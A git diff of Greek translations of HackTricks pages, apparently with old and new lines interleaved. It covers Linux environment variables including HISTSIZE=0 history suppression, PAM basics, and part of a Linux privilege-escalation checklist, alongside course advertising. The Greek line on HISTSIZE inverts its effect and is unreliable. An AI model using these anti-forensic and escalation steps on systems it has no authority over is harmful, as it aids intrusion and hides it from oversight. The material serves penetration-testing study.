Αλλάξτε την **τιμή αυτής της μεταβλητής σε 0**, έτσι ώστε όταν **τερματίσετε τη συνεδρία σας** οποιαδήποτε εντολή να προστεθεί στο **αρχείο ιστορικού** (\~/.bash\_history).
```bash
export HISTSIZE=0
```
### http\_proxy & https\_proxy
Οι διεργασίες θα χρησιμοποιήσουν το **proxy** που δηλώνεται εδώ για να συνδεθούν στο internet μέσω **http ή https**.
Οι διαδικασίες θα χρησιμοποιήσουν τον **proxy** που δηλώνεται εδώ για να συνδεθούν στο διαδίκτυο μέσω **http ή https**.
```bash
export http_proxy="http://10.10.10.10:8080"
export https_proxy="http://10.10.10.10:8080"
```
### SSL\_CERT\_FILE & SSL\_CERT\_DIR
Οι διεργασίες θα εμπιστεύονται τα πιστοποιητικά που υποδεικνύονται σε **αυτές τις μεταβλητές περιβάλλοντος**.
Οι διαδικασίες θα εμπιστεύονται τα πιστοποιητικά που υποδεικνύονται σε **αυτές τις μεταβλητές περιβάλλοντος**.
```bash
export SSL_CERT_FILE=/path/to/ca-bundle.pem
export SSL_CERT_DIR=/path/to/ca-certificates
```
### PS1
Αλλάξτε τον τρόπο με τον οποίο εμφανίζεται το προτροπή σας.
Αλλάξτε την εμφάνιση του προτροπής σας.
[**Αυτό είναι ένα παράδειγμα**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
Ρίζα:
Root:
![](<../.gitbook/assets/image (87).png>)
![](<../.gitbook/assets/image (897).png>)
Κανονικός χρήστης:
![](<../.gitbook/assets/image (88).png>)
![](<../.gitbook/assets/image (740).png>)
Ένα, δύο και τρία φόνταρα jobs:
Ένας, δύο και τρία παρασκηνιακά έργα:
![](<../.gitbook/assets/image (89).png>)
![](<../.gitbook/assets/image (145).png>)
Ένα φόνταρο job, ένα που έχει σταματήσει και η τελευταία εντολή δεν ολοκληρώθηκε σωστά:
Ένα παρασκηνιακό έργο, ένα σταματημένο και η τελευταία εντολή δεν ολοκληρώθηκε σωστά:
![](<../.gitbook/assets/image (90).png>)
![](<../.gitbook/assets/image (715).png>)
**Try Hard Security Group**
@ -131,16 +132,17 @@ export SSL_CERT_DIR=/path/to/ca-certificates
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,42 +1,45 @@
# PAM - Pluggable Authentication Modules
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι ένας κινητήρας αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
[**WhiteIntel**](https://whiteintel.io) είναι μια **μηχανή αναζήτησης** που τροφοδοτείται από το **dark-web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξει αν μια εταιρεία ή οι πελάτες της έχουν **παραβιαστεί** από **stealer malwares**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αποκλεισμών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τον κινητήρα τους δωρεάν στο:
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους **δωρεάν** στο:
{% embed url="https://whiteintel.io" %}
---
***
## Βασικές Πληροφορίες
### Basic Information
Το **PAM (Pluggable Authentication Modules)** λειτουργεί ως ένα μηχανισμός ασφαλείας που **επαληθεύει την ταυτότητα των χρηστών που προσπαθούν να έχουν πρόσβαση σε υπηρεσίες υπολογιστών**, ελέγχοντας την πρόσβασή τους με βάση διάφορα κριτήρια. Είναι παρόμοιο με έναν ψηφιακό κηδεμόνα, εξασφαλίζοντας ότι μόνο εξουσιοδοτημένοι χρήστες μπορούν να αλληλεπιδρούν με συγκεκριμένες υπηρεσίες, ενώ πιθανώς περιορίζει τη χρήση τους για να αποτρέψει τις υπερφορτώσεις του συστήματος.
**PAM (Pluggable Authentication Modules)** λειτουργεί ως μηχανισμός ασφαλείας που **επαληθεύει την ταυτότητα των χρηστών που προσπαθούν να αποκτήσουν πρόσβαση σε υπηρεσίες υπολογιστή**, ελέγχοντας την πρόσβασή τους με βάση διάφορα κριτήρια. Είναι παρόμοιο με έναν ψηφιακό φύλακα, διασφαλίζοντας ότι μόνο οι εξουσιοδοτημένοι χρήστες μπορούν να αλληλεπιδρούν με συγκεκριμένες υπηρεσίες, ενώ ενδεχομένως περιορίζουν τη χρήση τους για να αποτρέψουν υπερφόρτωση του συστήματος.
### Αρχεία Διαμόρφωσης
#### Configuration Files
- **Τα συστήματα Solaris και UNIX** συνήθως χρησιμοποιούν ένα κεντρικό αρχείο διαμόρφωσης που βρίσκεται στο `/etc/pam.conf`.
- **Τα συστήματα Linux** προτιμούν μια προσέγγιση κατάλογου, αποθηκεύοντας τις ρυθμίσεις για συγκεκριμένες υπηρεσίες μέσα στο `/etc/pam.d`. Για παράδειγμα, το αρχείο διαμόρφωσης για την υπηρεσία σύνδεσης βρίσκεται στο `/etc/pam.d/login`.
* **Τα συστήματα Solaris και UNIX** συνήθως χρησιμοποιούν ένα κεντρικό αρχείο ρύθμισης που βρίσκεται στο `/etc/pam.conf`.
* **Τα συστήματα Linux** προτιμούν μια προσέγγιση καταλόγου, αποθηκεύοντας ρυθμίσεις συγκεκριμένων υπηρεσιών εντός του `/etc/pam.d`. Για παράδειγμα, το αρχείο ρύθμισης για την υπηρεσία σύνδεσης βρίσκεται στο `/etc/pam.d/login`.
Ένα παράδειγμα μιας διαμόρφωσης PAM για την υπηρεσία σύνδεσης μπορεί να φαίνεται κάπως έτσι:
```text
Ένα παράδειγμα ρύθμισης PAM για την υπηρεσία σύνδεσης μπορεί να μοιάζει με αυτό:
```
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
@ -48,55 +51,55 @@ password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
```
### **Πραγματικά Τομείς Διαχείρισης PAM**
#### **Διαχείριση Τομέων PAM**
Αυτοί οι τομείς, ή ομάδες διαχείρισης, περιλαμβάνουν τους **auth**, **account**, **password**, και **session**, κάθε ένας υπεύθυνος για διαφορετικές πτυχές της διαδικασίας πιστοποίησης και διαχείρισης συνεδρίας:
Αυτοί οι τομείς, ή ομάδες διαχείρισης, περιλαμβάνουν **auth**, **account**, **password**, και **session**, καθένας υπεύθυνος για διαφορετικές πτυχές της διαδικασίας αυθεντικοποίησης και διαχείρισης συνεδριών:
- **Auth**: Επικυρώνει την ταυτότητα του χρήστη, συχνά μέσω προτροπής για κωδικό πρόσβασης.
- **Account**: Χειρίζεται τον έλεγχο του λογαριασμού, ελέγχοντας συνθήκες όπως η ομάδα στην οποία ανήκει ή περιορισμούς ώρας της ημέρας.
- **Password**: Διαχειρίζεται τις ενημερώσεις κωδικού πρόσβασης, συμπεριλαμβανομένων ελέγχων πολυπλοκότητας ή πρόληψης επιθέσεων λεξικού.
- **Session**: Διαχειρίζεται ενέργειες κατά την έναρξη ή το τέλος μιας συνεδρίας υπηρεσίας, όπως η προσάρτηση καταλόγων ή η οριοθέτηση πόρων.
* **Auth**: Επικυρώνει την ταυτότητα του χρήστη, συχνά ζητώντας έναν κωδικό πρόσβασης.
* **Account**: Διαχειρίζεται την επαλήθευση λογαριασμού, ελέγχοντας συνθήκες όπως η συμμετοχή σε ομάδες ή περιορισμοί ώρας.
* **Password**: Διαχειρίζεται τις ενημερώσεις κωδικών πρόσβασης, συμπεριλαμβανομένων ελέγχων πολυπλοκότητας ή πρόληψης επιθέσεων λεξικού.
* **Session**: Διαχειρίζεται ενέργειες κατά την έναρξη ή το τέλος μιας συνεδρίας υπηρεσίας, όπως η τοποθέτηση καταλόγων ή η ρύθμιση ορίων πόρων.
### **Ελέγχοι Ενοτήτων PAM**
#### **Έλεγχοι Μονάδας PAM**
Οι ελέγχοι καθορίζουν την αντίδραση της ενότητας σε επιτυχία ή αποτυχία, επηρεάζοντας τη συνολική διαδικασία πιστοποίησης. Αυτοί περιλαμβάνουν:
Οι έλεγχοι καθορίζουν την αντίδραση της μονάδας σε επιτυχία ή αποτυχία, επηρεάζοντας τη συνολική διαδικασία αυθεντικοποίησης. Αυτοί περιλαμβάνουν:
- **Required**: Η αποτυχία μιας απαιτούμενης ενότητας οδηγεί σε τελική αποτυχία, αλλά μόνο μετά τον έλεγχο όλων των επόμενων ενοτήτων.
- **Requisite**: Άμεση τερματισμός της διαδικασίας μετά από αποτυχία.
- **Sufficient**: Η επιτυχία παρακάμπτει τους υπόλοιπους ελέγχους του ίδιου τομέα εκτός αν αποτύχει μια επόμενη ενότητα.
- **Optional**: Προκαλεί αποτυχία μόνο αν είναι η μοναδική ενότητα στη στοίβα.
* **Required**: Η αποτυχία μιας απαιτούμενης μονάδας οδηγεί σε τελική αποτυχία, αλλά μόνο μετά τον έλεγχο όλων των επόμενων μονάδων.
* **Requisite**: Άμεσος τερματισμός της διαδικασίας σε περίπτωση αποτυχίας.
* **Sufficient**: Η επιτυχία παρακάμπτει τους υπόλοιπους ελέγχους της ίδιας ομάδας εκτός αν αποτύχει μια επόμενη μονάδα.
* **Optional**: Προκαλεί αποτυχία μόνο αν είναι η μοναδική μονάδα στη στοίβα.
### Παράδειγμα Σεναρίου
#### Παράδειγμα Σεναρίου
Σε μια ρύθμιση με πολλαπλές ενότητες auth, η διαδικασία ακολουθεί ένα αυστηρό σειρά. Αν η ενότητα `pam_securetty` εντοπίσει το τερματικό σύνδεσης μη εξουσιοδοτημένο, οι συνδέσεις root αποκλείονται, αλλά όλες οι ενότητες εξακολουθούν να επεξεργάζονται λόγω της κατάστασής της "απαιτείται". Η `pam_env` ορίζει μεταβλητές περιβάλλοντος, που ενδεχομένως βοηθούν στην εμπειρία του χρήστη. Οι ενότητες `pam_ldap` και `pam_unix` συνεργάζονται για την πιστοποίηση του χρήστη, με την `pam_unix` να προσπαθεί να χρησιμοποιήσει έναν προηγουμένως παραδοθέντα κωδικό πρόσβασης, βελτιώνοντας την αποτελεσματικότητα και ευελιξία στις μεθόδους πιστοποίησης.
Σε μια ρύθμιση με πολλαπλές μονάδες auth, η διαδικασία ακολουθεί μια αυστηρή σειρά. Αν η μονάδα `pam_securetty` βρει ότι ο τερματικός σταθμός σύνδεσης δεν είναι εξουσιοδοτημένος, οι συνδέσεις root αποκλείονται, ωστόσο όλες οι μονάδες εξακολουθούν να επεξεργάζονται λόγω της κατάστασης "required". Η `pam_env` ρυθμίζει τις μεταβλητές περιβάλλοντος, ενδεχομένως βοηθώντας στην εμπειρία του χρήστη. Οι μονάδες `pam_ldap` και `pam_unix` συνεργάζονται για να αυθεντικοποιήσουν τον χρήστη, με την `pam_unix` να προσπαθεί να χρησιμοποιήσει έναν προηγουμένως παρεχόμενο κωδικό πρόσβασης, ενισχύοντας την αποδοτικότητα και την ευελιξία στις μεθόδους αυθεντικοποίησης.
### Αναφορές
## Αναφορές
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
#### [WhiteIntel](https://whiteintel.io)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark-web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξει αν μια εταιρεία ή οι πελάτες της έχουν **compromised** από **stealer malwares**.
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό κλοπής πληροφοριών.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους **δωρεάν** στο:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,61 +1,137 @@
# Έλεγχος Προνομίων Ανόδου - Linux
# Λίστα Ελέγχου - Ανύψωση Δικαιωμάτων Linux
{% hint style="success" %}
Μάθετε και εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε και εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετέχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Συμμετάσχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) διακομιστή για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς αμοιβών ευρημάτων!
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
**Εισαγωγή στο Χάκινγκ**\
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ
**Ενημερώσεις Hacking**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Ειδήσεις Hack σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις νεότερες αμοιβές ευρημάτων που ξεκινούν και τις κρίσιμες ενημερώσεις των πλατφορμών
Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!**
**Εγγραφείτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
### **Καλύτερο εργαλείο για την αναζήτηση διανομών εκμετάλλευσης προνομίων σε Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### **Καλύτερο εργαλείο για αναζήτηση τοπικών διαδρομών ανύψωσης δικαιωμάτων Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### [Πληροφορίες Συστήματος](privilege-escalation/#system-information)
* [ ] Λάβετε τις **πληροφορίες του ΛΣ**
* [ ] Ελέγξτε το [**PATH**](privilege-escalation/#path), οποιοδήποτε **εγγράψιμο φάκελο**;
* [ ] Ελέγξτε τις [**μεταβλητές περιβάλλοντος**](privilege-escalation/#env-info), οποιαδήποτε ευαίσθητη λεπτομέρεια;
* [ ] Αναζήτηση για [**εκμεταλλεύσεις πυρήνα**](privilege-escalation/#kernel-exploits) **χρησιμοποιώντας σενάρια** (DirtyCow;)
* [ ] **Ελέγξτε** αν η [**έκδοση του sudo είναι ευάλωτη**](privilege-escalation/#sudo-version)
* [ ] [**Αποτυχία επαλήθευσης υπογραφής Dmesg**](privilege-escalation/#dmesg-signature-verification-failed)
* [ ] Περισσότερη αναγνώριση του συστήματος ([ημερομηνία, στατιστικά συστήματος, πληροφορίες CPU, εκτυπωτές](privilege-escalation/#more-system-enumeration))
* [ ] [Αναγνωρίστε περισσότερες αμύνες](privilege-escalation/#enumerate-possible-defenses)
* [ ] Λάβετε **πληροφορίες OS**
* [ ] Ελέγξτε το [**PATH**](privilege-escalation/#path), υπάρχει **γραφείο που μπορεί να γραφτεί**;
* [ ] Ελέγξτε [**μεταβλητές περιβάλλοντος**](privilege-escalation/#env-info), υπάρχει κάποια ευαίσθητη λεπτομέρεια;
* [ ] Αναζητήστε [**εκμεταλλεύσεις πυρήνα**](privilege-escalation/#kernel-exploits) **χρησιμοποιώντας scripts** (DirtyCow?)
* [ ] **Ελέγξτε** αν η [**έκδοση sudo** είναι ευάλωτη](privilege-escalation/#sudo-version)
* [ ] [**Η επαλήθευση υπογραφής Dmesg απέτυχε**](privilege-escalation/#dmesg-signature-verification-failed)
* [ ] Περισσότερη αναγνώριση συστήματος ([ημερομηνία, στατιστικά συστήματος, πληροφορίες CPU, εκτυπωτές](privilege-escalation/#more-system-enumeration))
* [ ] [**Αναγνωρίστε περισσότερες άμυνες**](privilege-escalation/#enumerate-possible-defenses)
### [Δίσκοι](privilege-escalation/#drives)
* [ ] Λίστα με τους **προσαρτημένους** δίσκους
* [ ] **Οποιοσδήποτε μη προσαρτημένος δίσκος;**
* [ ] **Ο
* [ ] **Λίστα των προσαρτημένων** δίσκων
* [ ] **Κάποιος μη προσαρτημένος δίσκος;**
* [ ] **Κάποια διαπιστευτήρια στο fstab;**
### [**Εγκατεστημένο Λογισμικό**](privilege-escalation/#installed-software)
* [ ] **Ελέγξτε για**[ **χρήσιμο λογισμικό**](privilege-escalation/#useful-software) **που είναι εγκατεστημένο**
* [ ] **Ελέγξτε για** [**ευάλωτο λογισμικό**](privilege-escalation/#vulnerable-software-installed) **που είναι εγκατεστημένο**
### [Διεργασίες](privilege-escalation/#processes)
* [ ] Τρέχει κάποιο **άγνωστο λογισμικό**;
* [ ] Τρέχει κάποιο λογισμικό με **περισσότερα δικαιώματα από όσα θα έπρεπε**;
* [ ] Αναζητήστε **εκμεταλλεύσεις τρεχουσών διεργασιών** (ιδιαίτερα την έκδοση που τρέχει).
* [ ] Μπορείτε να **τροποποιήσετε το δυαδικό** οποιασδήποτε τρέχουσας διεργασίας;
* [ ] **Παρακολουθήστε διεργασίες** και ελέγξτε αν τρέχει κάποια ενδιαφέρουσα διεργασία συχνά.
* [ ] Μπορείτε να **διαβάσετε** κάποια ενδιαφέρουσα **μνήμη διεργασίας** (όπου θα μπορούσαν να αποθηκευτούν κωδικοί);
### [Προγραμματισμένα/Cron jobs;](privilege-escalation/#scheduled-jobs)
* [ ] Επηρεάζεται το [**PATH** ](privilege-escalation/#cron-path) από κάποιο cron και μπορείτε να **γράψετε** σε αυτό;
* [ ] Κάποιο [**wildcard** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) σε ένα cron job;
* [ ] Κάποιο [**τροποποιήσιμο script** ](privilege-escalation/#cron-script-overwriting-and-symlink) εκτελείται ή είναι μέσα σε **τροποποιήσιμο φάκελο**;
* [ ] Έχετε ανιχνεύσει ότι κάποιο **script** θα μπορούσε να είναι ή είναι [**εκτελούμενο** πολύ **συχνά**](privilege-escalation/#frequent-cron-jobs); (κάθε 1, 2 ή 5 λεπτά)
### [Υπηρεσίες](privilege-escalation/#services)
* [ ] Κάποιο **γραφείο .service** που μπορεί να γραφτεί;
* [ ] Κάποιο **δυαδικό αρχείο** που εκτελείται από μια **υπηρεσία**;
* [ ] Κάποιο **γραφείο που μπορεί να γραφτεί στο systemd PATH**;
### [Χρονοδιακόπτες](privilege-escalation/#timers)
* [ ] Κάποιο **γραμμένο χρονοδιακόπτη**;
